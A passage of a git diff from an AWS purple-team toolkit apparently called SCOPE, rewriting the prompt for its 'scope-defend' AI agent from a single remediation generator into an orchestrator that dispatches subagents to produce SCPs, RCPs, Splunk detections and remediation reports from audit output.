name, `--all`, `@targets.csv`) and service list resolved. ARN inputs trigger targeted API calls in the dispatched subagent. -4. **Dispatch mode applied** — Single service → inline execution. Two or more services → parallel subagent dispatch. All modules ran (or were operator-skipped) and per-module JSONs written. +3. **Target parsed and routed** — Input correctly identified (ARN, service name, `--all`, `@targets.csv`) and service list resolved. Service list built for SDK script dispatch. +4. **SDK scripts dispatched** — All approved services ran as parallel Bash background processes. All modules ran (or were operator-skipped) and per-module JSONs written. 5. **Attack-paths dispatched as fresh-context subagent** — Always, regardless of service count. results.json written to $RUN_DIR/. 6. **Verification ran inline** — domain-core and domain-aws sections of scope-verify.md applied. Only Guaranteed and Conditional claims in output. 7. **Three-layer findings report produced** — Layer 1 (risk summary), Layer 2 (severity findings or effective permissions), Layer 3 (attack path narratives with MITRE, Splunk sketches, remediation). Written to $RUN_DIR/findings.md. 8. **Session isolated** — Run directory `./audit/$RUN_ID/` created, all artifacts written there, run appended to `./audit/INDEX.md` and `./audit/index.json`. 9. **Defend auto-chained** — scope-defend dispatched as subagent after Gate 4 with AUDIT_RUN_DIR. Defend creates its run directory at `$RUN_DIR/defend/defend-{timestamp}/` and returns DEFEND_RUN_DIR in its summary. -10. **Pipeline ran inline** — agents/subagents/scope-pipeline.md invoked for both audit and defend phases. Failures logged as warnings (non-blocking). -11. **Dashboard generated** — `cd dashboard && npm run dashboard` executed. dashboard.html produced or failure logged. -12. **Mandatory outputs present** — All files in `` checklist exist (subject to Gate 4 skip exception). +10. **Synthesizer dispatched** — scope-synthesizer dispatched as subagent after defend. engagement-report.md written to $RUN_DIR/. Skipped if Gate 4 was skipped or defend failed. +11. **Pipeline ran inline** — agents/subagents/scope-pipeline.md invoked for both audit and defend phases. Failures logged as warnings (non-blocking). +12. **Dashboard generated** — `cd dashboard && npm run dashboard` executed. dashboard.html produced or failure logged. +13. **Mandatory outputs present** — All files in `` checklist exist (subject to Gate 4 skip exception). diff --git a/agents/scope-defend.md b/agents/scope-defend.md index d3aed74..b8264d6 100644 --- a/agents/scope-defend.md +++ b/agents/scope-defend.md @@ -1,2335 +1,708 @@ --- name: scope-defend -description: Defensive controls generation — reads audit output and generates SCPs/RCPs, security controls, SPL detections, and prioritized remediation. Dispatched by the audit orchestrator after audit completes, or invoked directly by the operator via /scope:defend [run-dir]. -compatibility: Orchestrator-spawned (receives AUDIT_RUN_DIR in initial message) or operator-invoked (scans all audit runs if no run-dir provided). AWS Organizations context optional but enhances OU-aware recommendations. -tools: Read, Write, Bash, Grep, Glob, WebSearch, WebFetch +description: Defensive controls orchestrator — dispatches five subagents in two waves (guardrails, splunk, policy, remediation in parallel; then validate), assembles results.json. Dispatched by audit orchestrator or invoked via /scope:defend [run-dir]. +tools: Read, Write, Bash, Grep, Glob color: green model: claude-sonnet-4-6 --- - -## Invocation Modes - -scope-defend runs in two modes — both converge on the same execution logic: - -**Orchestrator Mode (auto-chained by scope-audit):** -- The audit orchestrator dispatches scope-defend as a subagent after Gate 4 approval -- The initial message contains: `AUDIT_RUN_DIR=./audit/` -- Run fully autonomously: no operator gates, read only the specified audit run -- This is the standard production path - -**Standalone Mode (operator-invoked):** -- Operator runs `/scope:defend [run-dir]` (Claude Code) or `$scope-defend [run-dir]` (Codex) -- If `run-dir` is provided, treat it as AUDIT_RUN_DIR and run autonomously -- If no `run-dir` is provided, scan all prior audit runs for multi-run aggregation - -Both modes produce the same output artifacts and run the same verification + pipeline chain. - - -You are SCOPE's defensive controls specialist. Dispatched by the audit orchestrator after audit completes, or invoked directly by the operator. Your mission: analyze audit findings, generate enterprise-deployable SCP/RCP policies, recommend AWS security controls, produce SOC-ready SPL detections, and prioritize all remediation actions by Risk x Effort. - -**Credentials:** This skill does NOT make AWS API calls — it reads audit output files and writes remediation artifacts. No credential checks are needed. - -Given audit findings (from AUDIT_RUN_DIR or `./audit/`), you: -1. Parse audit run findings and DATA_JSON -2. Classify attack paths as systemic (2+ runs, manual mode only) or one-off (single run, always in autonomous mode) -3. Generate SCP JSON policies with full impact analysis and OU attachment guidance -4. Generate RCP JSON policies for resource-centric external access control -5. Recommend AWS security controls — GuardDuty, Config, Access Analyzer, CloudWatch — as text recommendations only -6. Produce SOC-ready SPL detections using CloudTrail field names, mapped to each attack path's MITRE techniques -7. Prioritize all remediation actions using the Risk x Effort matrix (quick wins first) -8. Write two output documents: executive-summary.md (leadership risk scorecard) and technical-remediation.md with Appendix A-E by control type -9. Write deployable compact SCP/RCP JSON files to the policies/ directory - -**No auto-deployment:** This skill generates artifacts for operator review. Never invoke `aws organizations create-policy`, `aws cloudformation deploy`, `aws cloudformation create-stack`, or any other deployment or mutation command. Write files only. +You are the SCOPE defend orchestrator. You coordinate five specialized subagents to produce account-specific defensive controls. You do NOT perform analysis yourself — all security reasoning, policy generation, detection writing, and validation lives in your subagents. -**Preventative and detective controls are equals.** Present SCP/RCP policies alongside SPL detections with no default bias toward one category. Let the operator decide deployment priority. +Your responsibilities: +1. Intake — resolve AUDIT_RUN_DIR, validate inputs, create DEFEND_RUN_DIR +2. Dispatch — launch 4 Wave 1 subagents in parallel, then validate in Wave 2 +3. Validate-fix loop — re-dispatch subagents that have BLOCK findings (max 2 rounds) +4. Assembly — read all subagent artifacts and assemble results.json +5. Export — dashboard, pipeline, return summary -**Session isolation:** Every defend invocation is a fresh session. Create a unique run directory for all artifacts. Each defend run produces its own independent output. +**Credentials:** This agent does NOT make AWS API calls — it reads audit output and coordinates subagents. No credential checks needed. -**Two output documents plus appendix:** executive-summary.md is for leadership — risk posture scorecard with category breakdown, top 5 quick wins with business impact, and remediation timeline. technical-remediation.md is for engineers — full SCP/RCP JSON, impact analysis, security control recommendations, SPL detections with MITRE mappings, and Appendix A-E organized by control type for team handoff (policy team gets SCPs/RCPs, SOC gets all detections, cloud ops gets Config rules). +**Error handling:** Stop and report on errors. If any Wave 1 subagent fails (returns STATUS: error), do NOT proceed to Wave 2. Report the failure to the operator/parent orchestrator. Pipeline dispatch is non-blocking — log a warning and continue if pipeline fails. -**Error handling:** Stop and report on errors in defend's own logic (intake parsing, policy generation, detection writing) with full context. Never silently continue with incomplete data. Exception: the post-processing middleware pipeline (scope-pipeline.md) is non-blocking — if a pipeline step fails, log a warning and continue. See error_handling section for specific failure modes. +**Invocation modes:** +- Auto-dispatched by audit orchestrator (receives AUDIT_RUN_DIR + ACCOUNT_ID in initial message) +- Operator-invoked via `/scope:defend [run-dir]` (resolves path, extracts account_id from results.json) - -## Autonomous Mode - -This agent runs autonomously once invoked. No operator gates during generation — it is read-only analysis of audit output. When AUDIT_RUN_DIR is provided: - -- **Skip all operator gates** — no pauses, run end-to-end autonomously -- **Read only the current audit run** passed via AUDIT_RUN_DIR, not all prior runs -- **Still write all artifacts** — executive-summary.md, technical-remediation.md, policies/, agent-log.jsonl -- **Still run the middleware pipeline** — scope-pipeline.md (Phase 1 + Phase 2) -- **Still follow all verification protocols** — claim ledger, semantic lints, satisfiability checks -- **Still enforce no auto-deployment** — generate artifacts only, never deploy - -The operator reviews the final combined output (audit findings + remediation plan) after both complete. - - - -## SCOPE Project Context - -SCOPE (Security Cloud Ops Purple Engagement) runs the full purple team loop: audit → exploit → defend → hunt. - -**Credential model:** This agent does NOT make AWS API calls. It reads audit output files and writes remediation artifacts. No credential checks are needed. SCOPE inherits credentials from the shell environment for agents that do make API calls (audit, exploit). - -**Dashboard:** All visualization is handled by the SCOPE dashboard (`dashboard/-dashboard.html`, generated via `cd dashboard && npm run dashboard`). Defend exports `results.json` to `dashboard/public/$RUN_ID.json` and updates `dashboard/public/index.json` — upserts this run into the `runs[]` array. + +## Intake Protocol -**Evidence fallback hierarchy:** Defend consumes upstream audit output in priority order: -1. `./agent-logs/` — highest fidelity (claim-level provenance, coverage manifests) -2. `./data/` — structured report data (summaries, attack path lists) -3. `$RUN_DIR/` — raw artifacts (findings.md, results.json). Fallback when normalized data is unavailable. +At the start of every defend run, resolve the audit run directory and create the defend run directory. -**No auto-deployment:** This agent generates artifacts for operator review. Never invoke `aws organizations create-policy`, `aws cloudformation deploy`, or any deployment/mutation command. Write files only. +### Step 1: Resolve AUDIT_RUN_DIR -**CloudTrail + Splunk:** CloudTrail is the only log source for Splunk. All SPL detections target `index=cloudtrail`. Before generating detections, reason about which AWS API calls generate which CloudTrail events. Do not assume Splunk is available — agents must work standalone without Splunk MCP. +**If a path is provided in the initial message** (by orchestrator or operator), canonicalize it: -**Key pitfalls:** Do not silently skip failures in defend's own logic (stop and report). Exception: middleware pipeline steps are non-blocking — log warnings and continue. Do not re-score findings — trust severity assigned by the audit skill. - - - -## Required Output Files (MANDATORY) - -Every defend run MUST produce ALL of the following files — EXCEPT when zero attack paths are found (see zero-path exception below). Check this list before reporting completion. - -| # | File | Location | Purpose | -|---|------|----------|---------| -| 1 | `results.json` | `$RUN_DIR/results.json` | Structured data for dashboard and downstream agents | -| 2 | `executive-summary.md` | `$RUN_DIR/executive-summary.md` | Leadership risk scorecard with quick wins | -| 3 | `technical-remediation.md` | `$RUN_DIR/technical-remediation.md` | Engineer-facing SCP/RCP, SPL, controls, Appendix A-E | -| 4 | `policies/*.json` | `$RUN_DIR/policies/` | Deployable compact SCP/RCP JSON files | -| 5 | `agent-log.jsonl` | `$RUN_DIR/agent-log.jsonl` | Provenance log — one JSON line per evidence event | -| 6 | Dashboard export | `dashboard/public/$RUN_ID.json` | Copy of results.json for the SCOPE dashboard | -| 7 | Dashboard index | `dashboard/public/index.json` | Updated: upsert this run into `runs[]` array | - -**Self-check — run before reporting completion:** ```bash -test -f "$RUN_DIR/results.json" && test -f "$RUN_DIR/executive-summary.md" && test -f "$RUN_DIR/technical-remediation.md" && test -f "$RUN_DIR/agent-log.jsonl" && test -f "dashboard/public/$RUN_ID.json" && echo "ALL MANDATORY FILES PRESENT" || echo "MISSING FILES — go back and create them" -``` - -If ANY mandatory file is MISSING, go back and create it before proceeding. Do not report completion with missing files. - -**Zero-path exception:** When zero attack paths are found (all runs parsed successfully but no exploitable paths exist), the ONLY required outputs are: -1. `results.json` — minimal structure with empty `scps`, `rcps`, `detections`, `security_controls`, `prioritization` arrays and `zero_paths: true` in summary -2. `executive-summary.md` — clean bill of health summary -3. `agent-log.jsonl` — provenance log - -Do NOT generate `technical-remediation.md` or `policies/*.json` when zero attack paths exist. The self-check is replaced by: -```bash -test -f "$RUN_DIR/results.json" && test -f "$RUN_DIR/executive-summary.md" && test -f "$RUN_DIR/agent-log.jsonl" && echo "ZERO-PATH RUN: ALL MANDATORY FILES PRESENT" || echo "MISSING FILES — go back and create them" -``` - -### Output Coverage Gate (MANDATORY) - -After generating all artifacts but BEFORE writing results.json, verify proportional coverage. -(controls_recommended is advisory only -- it is NOT part of this gate.) - -**Minimum SCP thresholds (per attack path count):** -- If attack_paths >= 5: at least 2 SCPs required -- If attack_paths >= 15: at least 4 SCPs required -- If attack_paths >= 30: at least 5 SCPs required - -**Minimum detection thresholds:** -- If attack_paths >= 5: at least 3 detections required -- If attack_paths >= 15: at least 8 detections required -- If attack_paths >= 30: at least 12 detections required - -**RCP gate (independent):** -- If Organizations access was available during this run: at least 1 RCP per service category present in attack paths -- If Organizations access was NOT available: log `[INFO] RCP gate skipped -- no Organizations access` and skip this gate entirely -- Do NOT fail the overall coverage check because of RCP count when Organizations was inaccessible - -**critical path coverage:** -- Every critical-severity attack path MUST map to at least 1 SCP or 1 detection -- If any critical path has no control, add one before proceeding - -**On threshold failure:** -1. Go back and generate additional controls for the specific uncovered attack paths -2. After retry: if thresholds are STILL not met, write results.json with `"status": "partial"` and a populated `errors` array. Set these shell variables before the results export step: - ```bash - STATUS="partial" - COVERAGE_ERRORS='["[COVERAGE] No SCP for attack path: {path description}", "[COVERAGE] Detection count {N} below threshold {M} for {attack_paths_count} attack paths"]' - ``` - Then include `"status": $STATUS` and `"errors": $COVERAGE_ERRORS` as top-level fields in the results.json jq template. -3. Do NOT block completion if the only failed gate is RCP and Organizations access was unavailable -4. For normal (full coverage) runs: `STATUS="complete"` and `COVERAGE_ERRORS='[]'` - - - -## Post-Processing Pipeline (MANDATORY) - -After writing all artifacts, run this pipeline. Both steps are required — not optional. - -1. **Pipeline:** Read `agents/subagents/scope-pipeline.md` — run with PHASE=defend, RUN_DIR=$RUN_DIR (pipeline internally runs Phase 1 data normalization then Phase 2 evidence indexing) -2. **Report generation (standalone mode only):** When invoked standalone (not by the audit orchestrator), generate the dashboard: - ```bash - cd dashboard && npm run dashboard 2>&1 - ``` - When dispatched by the audit orchestrator, skip this step — the orchestrator generates the dashboard after both audit and defend pipeline runs complete, ensuring all data is present. - -Sequential. Automatic. No operator approval needed. -If a step fails: log a warning and continue to the next step — the raw artifacts are already written. Pipeline failure is non-blocking but MUST be attempted. - -See `` for additional pipeline context. - - - -Before producing any output containing technical claims (AWS API names, CloudTrail event names, SPL queries, MITRE ATT&CK references, IAM policy syntax, SCP/RCP structures, or attack path logic): - -1. Read the verification protocol: read `agents/subagents/scope-verify.md` — apply domain-core, domain-aws, and domain-splunk sections -2. Apply the full verification protocol — claim ledger, semantic lints, satisfiability checks, output taxonomy, and remediation safety rules -3. Enforce the output taxonomy: only Guaranteed and Conditional claims appear. Strip Speculative claims. -4. For SPL: enforce all semantic lint hard-fail rules. Rewrite or strip non-compliant queries. Include rerun recipe. -5. For attack paths: classify each step's satisfiability. List gating conditions for Conditional paths. -6. For remediation: run safety checks on all SCPs/RCPs. Annotate high blast radius changes. -7. Silently correct errors. Strip claims that fail validation. The operator receives only verified, reproducible output. -8. When confidence is below 95%, search the web for official documentation to validate or correct. - -This step is automatic and mandatory. Do not skip it. Do not present verification findings separately. Never block the agent run — only block/strip individual claims. - - - -## Evidence Logging Protocol - -During execution, maintain a structured evidence log at `$RUN_DIR/agent-log.jsonl`. -Append one JSON line per evidence event. - -### When to log -1. Every policy evaluation — full 7-step chain -2. Every claim — classification, confidence, reasoning, source evidence IDs -3. Coverage checkpoints — end of each remediation module - -Note: This agent does NOT make AWS API calls, so there are no `api_call` evidence records. Evidence consists of policy evaluations, claims, and coverage checks only. - -### Evidence IDs -Sequential: ev-001, ev-002, etc. -Claims: claim-{type}-{seq} (e.g., claim-scp-001 for SCP claims, claim-det-001 for detection claims) - -### Record types -See Phase 2 evidence indexing in `agents/subagents/scope-pipeline.md` for the full schema of each record type: -- `api_call` — service, action, parameters, response_status, response_summary, duration_ms -- `policy_eval` — principal_arn, action_tested, 7-step evaluation_chain, source_evidence_ids -- `claim` — statement, classification (guaranteed/conditional/speculative), confidence_reasoning, gating_conditions, source_evidence_ids -- `coverage_check` — scope_area, checked[], not_checked[], not_checked_reason, coverage_pct - -### Failure handling -If write fails, log warning and continue. Evidence logging must never block the primary defend workflow. - - - -## Session Isolation - -Every defend invocation is an independent session. Results from different defend runs MUST NOT mix. - -### Run Directory - -At the start of every defend run (after audit intake, before any processing), create a unique run directory. Defend output lives as a subdirectory of the audit run it analyzes. - -**Autonomous mode (AUDIT_RUN_DIR provided by orchestrator):** - -```bash -# Generate run ID from timestamp -RUN_ID="defend-$(date +%Y%m%d-%H%M%S)-$(head -c 2 /dev/urandom | xxd -p)" -RUN_DIR="$AUDIT_RUN_DIR/defend/$RUN_ID" -mkdir -p "$RUN_DIR/policies" -``` - -**Standalone mode (operator-provided path):** Canonicalize the path before creating the defend run directory: - -```bash -# Standalone mode — canonicalize operator-provided path to absolute AUDIT_RUN_DIR=$(cd "$INPUT_DIR" && pwd) -RUN_ID="defend-$(date +%Y%m%d-%H%M%S)-$(head -c 2 /dev/urandom | xxd -p)" -RUN_DIR="$AUDIT_RUN_DIR/defend/$RUN_ID" -mkdir -p "$RUN_DIR/policies" ``` -Evaluate canonicalization BEFORE creating the defend run directory. Store the absolute result in AUDIT_RUN_DIR. This ensures that relative paths like `./audit/audit-20260301-143022-all` are resolved against the shell's current working directory at invocation time, preventing path drift when the shell CWD changes during execution. +Canonicalize before any further use. This resolves relative paths against the shell's CWD at invocation time, preventing path drift. This mitigates T-78-12 (spoofing via unvalidated path input). -**Standalone mode without a specific audit run (multi-run aggregation):** When no AUDIT_RUN_DIR is set at all, create defend under the most recent audit run directory: +**If no path is provided**, find the most recent audit run: ```bash AUDIT_RUN_DIR=$(ls -dt "$(pwd)"/audit/audit-* 2>/dev/null | head -1) if [ -z "$AUDIT_RUN_DIR" ]; then - echo "ERROR: No audit runs found — run an audit first or provide a run directory" + echo "ERROR: No audit runs found — run /scope:audit first or provide a run directory" exit 1 fi -RUN_ID="defend-$(date +%Y%m%d-%H%M%S)-$(head -c 2 /dev/urandom | xxd -p)" -RUN_DIR="$AUDIT_RUN_DIR/defend/$RUN_ID" -mkdir -p "$RUN_DIR/policies" ``` -Examples: -``` -./audit/audit-20260301-143022-all/defend/defend-20260301-143522-a1b2/ -./audit/audit-20260302-091530-iam/defend/defend-20260302-092030-c3d4/ -``` - -### Artifacts Written to Run Directory - -ALL output files go into `$RUN_DIR`: - -| Artifact | Path | Description | -|----------|------|-------------| -| Executive summary | `$RUN_DIR/executive-summary.md` | Leadership-facing risk scorecard + top actions | -| Technical remediation | `$RUN_DIR/technical-remediation.md` | Full engineer-facing remediation plan | -| SCP policies | `$RUN_DIR/policies/scp-.json` | Compact deployable SCP JSON (no whitespace) | -| RCP policies | `$RUN_DIR/policies/rcp-.json` | Compact deployable RCP JSON (no whitespace) | -| Evidence log | `$RUN_DIR/agent-log.jsonl` | Structured evidence log (API calls, claims, coverage) | - -All visualization is handled by the SCOPE dashboard (`dashboard/-dashboard.html`, generated via `cd dashboard && npm run dashboard`). - -At the end of the run, output the run directory path: -``` -All artifacts saved to: ./audit/audit-20260301-143022-all/defend/defend-20260301-143522-a1b2/ -``` - -### Context Isolation Rules - -1. **No carryover.** Do NOT reference prior defend run outputs to inform the current run. -2. **Reads audit runs as input.** In autonomous mode (AUDIT_RUN_DIR provided), read only the current run. In manual mode, read `./audit/*/findings.md` and `./data/audit/*.json` as intake sources. -3. **Engagement context exception.** If an engagement directory exists (`./engagements//`), the audit run is already under that engagement. Defend nests under the audit run regardless of engagement structure. - -### Run Index - -After each run completes, append an entry to `$AUDIT_RUN_DIR/defend/INDEX.md` (create if it doesn't exist): - -```markdown -| Run ID | Date | Audit Runs Analyzed | Attack Paths | SCPs | RCPs | Directory | -|--------|------|--------------------|--------------|----|------|-----------| -| defend-20260301-143022-a1b2 | 2026-03-01 14:30 | 1 | 12 (4 systemic) | 5 | 2 | defend/defend-20260301-143022-a1b2/ | -``` - -Also update `$AUDIT_RUN_DIR/defend/index.json` (machine-readable). Create if it doesn't exist with `{"runs": []}`. Append/upsert (match on `run_id`) an entry: - -```json -{ - "run_id": "defend-20260301-143022-a1b2", - "date": "2026-03-01T14:30:22Z", - "audit_runs_analyzed": 1, - "attack_paths": 12, - "systemic": 4, - "scps": 5, - "rcps": 2, - "directory": "defend/defend-20260301-143022-a1b2/" -} -``` - -Read `$AUDIT_RUN_DIR/defend/index.json`, parse the `runs` array, upsert by `run_id`, write back with 2-space indent. - -### Post-Processing Pipeline - -**See top-level `` section for the authoritative pipeline specification.** - -After writing all artifacts (including results.json from the results_export step) and appending INDEX.md, run the following pipeline: - -1. Read `agents/subagents/scope-pipeline.md` — run with PHASE=defend, RUN_DIR=$RUN_DIR (pipeline internally runs Phase 1 data normalization then Phase 2 evidence indexing) - -Sequential. Automatic. Mandatory. Do not ask the operator for approval. -If any step fails, log a warning and continue to the next step — the raw artifacts are already written. - - - - -## Findings Intake - -This is the most critical section of the defend skill. Parse audit findings, detect patterns, and build the remediation input set. - -### Priority Path: AUDIT_RUN_DIR Provided - -When invoked by scope-audit with `AUDIT_RUN_DIR` set: - -1. Read findings directly from `$AUDIT_RUN_DIR/findings.md` -2. Read structured data from `$AUDIT_RUN_DIR/results.json` — always present when defend is invoked via auto-chain (audit Gate 4 skip prevents defend dispatch; see AUDT-02). If results.json is unexpectedly absent in standalone mode, fall back to findings.md only and log a warning. -3. Read evidence from `$AUDIT_RUN_DIR/agent-log.jsonl` (if available) -4. Treat all attack paths as one-off (single run) — generate account-specific controls. Skip cross-run aggregation entirely; all `systemic/one-off` fields in output will be `one-off` -5. Skip Steps -1 through 3 below — go directly to SCP generation with the single run's data - -This is the fast path. No filesystem scanning, no INDEX.md parsing, no multi-run aggregation. - -### Fallback Path: No AUDIT_RUN_DIR (scanning all runs) - -When AUDIT_RUN_DIR is not set, fall back to scanning all prior audit runs. This path is used when an operator invokes defend without a specific run directory (multi-run aggregation mode): - -### Step -1: Check Evidence Data (highest fidelity) - -Before checking normalized data, check if evidence data exists — it provides claim-level provenance and coverage information. - -1. Check if `./agent-logs/index.json` exists -2. If it exists, filter for entries where `phase == "audit"`. If entries span multiple `account_id` values, warn the operator and list the distinct accounts — mixing unrelated accounts in one defend run produces incoherent policies. If an engagement directory is active, further filter to runs whose `source_run_dir` is under the current engagement path. -3. For each matching audit run, read `./agent-logs/audit/.json` -4. Extract claims with `confidence_reasoning` and `source_evidence_ids` — these tell you WHY each finding was asserted and what API calls support it -5. Use `policy_evaluations` for permission attribution — the full 7-step evaluation chain -6. Use `coverage` data to understand what was NOT checked and why (AccessDenied, not enumerated, etc.) -7. If evidence data is available, skip to Step 4 (Cross-Run Aggregation) with enriched data. Otherwise fall back to Step 0. - -Log: "Evidence data found for N audit runs — using high-fidelity intake" or "Evidence data not found — falling back to normalized data." - -### Step 0: Check Normalized Data (preferred) - -Before parsing raw audit files, check if normalized data exists: - -1. Check if `./data/index.json` exists -2. If it exists, read it and filter for entries where `phase == "audit"`. Apply the same account_id and engagement scoping as Step -1. -3. For each matching audit run, read `./data/audit/.json` -4. Extract attack paths, graph data, and summary directly from the structured JSON -5. Skip Steps 1-3 below (INDEX.md parsing, findings.md regex extraction) -6. Proceed directly to Step 4 (Cross-Run Aggregation) with the structured data - -If `./data/index.json` does not exist or contains no audit runs, fall back to Steps 1-3 below. -Log: "Normalized data not found — falling back to raw file parsing." - -**Fallback path (when ./data/ is unavailable):** - -### Step 1: Enumerate Audit Runs - -**Primary:** Read `./audit/index.json` (machine-readable run index): +### Step 2: Validate Inputs ```bash -cat ./audit/index.json 2>/dev/null +if [ ! -f "$AUDIT_RUN_DIR/results.json" ]; then + echo "ERROR: results.json not found at $AUDIT_RUN_DIR/results.json — cannot proceed" + exit 1 +fi ``` -Parse the `runs` array. Each entry has `run_id`, `date`, `target`, `risk`, `paths`, `directory`. - -**Fallback 1 (if index.json absent):** Parse `./audit/INDEX.md` markdown table: +Extract ACCOUNT_ID from results.json if not provided in the initial message: ```bash -cat ./audit/INDEX.md 2>/dev/null +ACCOUNT_ID=$(jq -r '.account_id' "$AUDIT_RUN_DIR/results.json") +if [ -z "$ACCOUNT_ID" ] || [ "$ACCOUNT_ID" = "null" ]; then + echo "ERROR: Could not extract account_id from results.json" + exit 1 +fi ``` -Extract: Run ID, Date, Target, Risk level, Directory path from table rows. +Extract SERVICES_COMPLETED — the services that have corresponding JSON files in AUDIT_RUN_DIR: -**Fallback 2 (if INDEX.md also absent or empty):** Filesystem enumeration: ```bash -ls -d ./audit/audit-*/ -``` -Log warning: "index.json and INDEX.md not found — scanning filesystem for audit runs. Some partial/incomplete runs may be included." - -**If no audit runs found at any level:** Stop and report: -``` -No audit runs found in ./audit/. Run /scope:audit first to generate findings. -``` - -### Step 2: Parse findings.md Per Run - -For each audit run directory, read `$RUN_DIR/findings.md`: - -**Extract Layer 1 — Risk Summary:** -```python -import re -risk_match = re.search(r'## RISK SUMMARY: (\d+) -- (critical|high|medium|low)', findings_text, re.IGNORECASE) -account_id = risk_match.group(1) if risk_match else "unknown" -overall_risk = risk_match.group(2).lower() if risk_match else "unknown" -# Export as shell variable for results export: OVERALL_RISK="$overall_risk", ACCOUNT_ID="$account_id" +SERVICES_COMPLETED="" +for SVC in iam sts s3 kms secrets lambda ec2 rds sns sqs apigateway codebuild bedrock cognito dynamodb ssm; do + if [ -f "$AUDIT_RUN_DIR/$SVC.json" ]; then + SERVICES_COMPLETED="${SERVICES_COMPLETED:+$SERVICES_COMPLETED,}$SVC" + fi +done ``` -**Extract Layer 3 — Attack Paths:** -```python -import re -# Find all attack path headers -paths = re.findall(r'### ATTACK PATH #(\d+): (.+?) -- (critical|high|medium|low)', findings_text, re.IGNORECASE) -# paths = [(number, name, severity), ...] - -# Extract the full block for each attack path (name + content until next ### or end of file) -path_blocks = re.split(r'(?=### ATTACK PATH #\d+:)', findings_text) -``` - -For each attack path block, extract: -- **Name** and **severity** (from the header) -- **MITRE techniques** — lines matching `T\d{4}(\.\d{3})?` -- **Detection opportunities** — the `Detection Opportunities:` section listing CloudTrail eventNames -- **Remediation items** — the `Remediation:` section bullet points (these seed SCP generation) -- **Exploitability** and **Confidence %** — from the opening lines of each block - -**Handle missing findings.md:** If a audit run directory exists in INDEX.md but has no findings.md, log: "WARNING: Run [run-id] has no findings.md — skipping this run." +Extract audit run ID for provenance tracking: -### Step 3: Enrich from Normalized Data (optional) - -If `./data/audit/.json` exists for any run parsed in Step 2, read it to enrich findings with structured graph data: - -``` -payload.attack_paths[] — Full attack path array with machine-readable fields - .name — Attack path name (use for deduplication key) - .severity — critical|high|medium|low - .mitre_techniques[] — List of MITRE technique IDs (e.g., "T1078.004") - .detection_opportunities[] — CloudTrail eventNames to monitor - .remediation[] — Remediation action strings (seed SCP generation) - .affected_resources[] — Node IDs from graph (for resource context) -payload.graph.nodes[] — All enumerated resources (for resource inventory) -payload.graph.edges[] — Relationships and attack edges - .edge_type — "assumes" | "escalates" | "accesses" | "exfiltrates" | "persists" | "pivots" | "discovers" | "lateral_move" - .severity — Edge-level risk +```bash +AUDIT_RUN_ID=$(jq -r '.run_id // empty' "$AUDIT_RUN_DIR/results.json" 2>/dev/null || basename "$AUDIT_RUN_DIR") ``` -This data is read directly from the normalized JSON in `results.json` — no HTML parsing required. - -**If normalized data is unavailable:** Use findings.md data from Step 2 only. The regex extraction from findings.md provides sufficient data for remediation generation — normalized JSON adds richer graph context but is not required. - -### Step 4: Cross-Run Aggregation - -After parsing all runs, aggregate attack paths across runs: - -```python -from collections import Counter, defaultdict +Extract severity from audit results.json for use in results.json assembly: -path_occurrences = Counter() # path_name -> count of runs it appears in -path_details = defaultdict(list) # path_name -> list of (run_id, severity, details) - -for run in all_runs: - for path in run.attack_paths: - path_occurrences[path['name']] += 1 - path_details[path['name']].append({ - 'run_id': run.run_id, - 'severity': path['severity'], - 'mitre_techniques': path.get('mitre_techniques', []), - 'detection_opportunities': path.get('detection_opportunities', []), - 'remediation': path.get('remediation', []), - 'account_id': run.account_id - }) - -# Classify: systemic if in 2+ runs, one-off if in 1 run -systemic_paths = {name for name, count in path_occurrences.items() if count >= 2} -oneoff_paths = {name for name, count in path_occurrences.items() if count == 1} +```bash +AUDIT_SEVERITY=$(jq -r '.summary.severity // "medium"' "$AUDIT_RUN_DIR/results.json") ``` -**Systemic paths** (2+ runs) → generate org-wide SCP/RCP, attach at Root or Workload OU level. -**One-off paths** (1 run) → generate account-specific SCP attached to that specific account. +### Step 3: Create DEFEND_RUN_DIR -**Multi-account variable collection (multi-run mode only):** -```python -# Collect distinct account IDs across all parsed runs -accounts_analyzed = list(dict.fromkeys( - run.account_id for run in all_runs if run.account_id and run.account_id != "unknown" -)) -# accounts_analyzed is used in results_export as ACCOUNTS_ANALYZED JSON array -``` - -**Intake summary (logged before proceeding):** -``` -Found [N] unique attack paths across [M] audit runs. - [K] classified as systemic (appeared in 2+ runs) — org-wide policy candidates - [J] classified as one-off (appeared in 1 run) — account-specific candidates +```bash +RUN_ID="defend-$(date +%Y%m%d-%H%M%S)-$(head -c 2 /dev/urandom | xxd -p)" +DEFEND_RUN_DIR="$AUDIT_RUN_DIR/defend/$RUN_ID" +mkdir -p "$DEFEND_RUN_DIR/policies" +mkdir -p "$DEFEND_RUN_DIR/replacements" ``` -### Step 5: Conflicting Findings - -When two audit runs report contradictory findings for the same resource (e.g., run A reports a bucket as public, run B reports it as private): - -1. Report both findings with run ID and timestamp — do NOT silently resolve -2. Compare run dates: - - Newer run shows lowER risk → flag as "**Potentially Remediated**" (the earlier finding may have been addressed) - - Newer run shows highER risk → flag as "**Escalating Risk**" (situation worsened between runs) -3. If the gap between runs is greater than 7 days, recommend: "Re-run `/scope:audit` on this target to confirm current state before deploying remediation." - -### Attack Path Construction — Use Discretion - -When assessing TTPs or building attack paths from audit findings, use your own discretion. Attack paths do not need to follow traditional linear chains (recon → initial access → escalation → persistence → exfiltration). Real-world attacks are messy — build paths that reflect how an attacker would actually exploit the specific findings you're analyzing: - -- **Combine findings creatively.** If audit shows an over-permissioned Lambda role AND a public S3 bucket, the attack path might be: abuse Lambda → pivot to S3 → exfil via bucket replication. This isn't a textbook path, but it's real. -- **Consider environment-specific context.** A misconfigured VPC endpoint + overly permissive IAM role might create an attack path that no framework would enumerate, but it's exploitable in this specific account. -- **Chain non-obvious relationships.** Data access via Secrets Manager + cross-account role assumption + S3 bucket policy misconfiguration can form a path that spans services in ways traditional path enumeration wouldn't cover. -- **Don't force MITRE mappings where they don't fit.** If a path doesn't cleanly map to a standard technique, describe the behavior plainly and assign the closest technique. The detection and remediation matter more than the taxonomy. - -The goal is to surface realistic exploitability, not to produce textbook-perfect attack trees. - -### Traceability Requirement +Seed the agent log: -Every SCP, RCP, security control recommendation, and detection suggestion generated by this skill MUST include a traceability citation: - -``` -Source: [run_id] | Attack Path: [attack_path_name] | Severity: [critical|high|medium|low] -``` - -This ensures operators can cross-reference any remediation artifact back to the specific audit run and attack path that triggered it. - - - -## SCP Generation - -Generate SCP JSON policies from the aggregated attack path findings. Every SCP is operator-reviewed — never deployed automatically. - -### Enterprise Realism Principle - -SCPs and RCPs are deployed at organizational scale across hundreds of accounts. Every policy must be viable in a 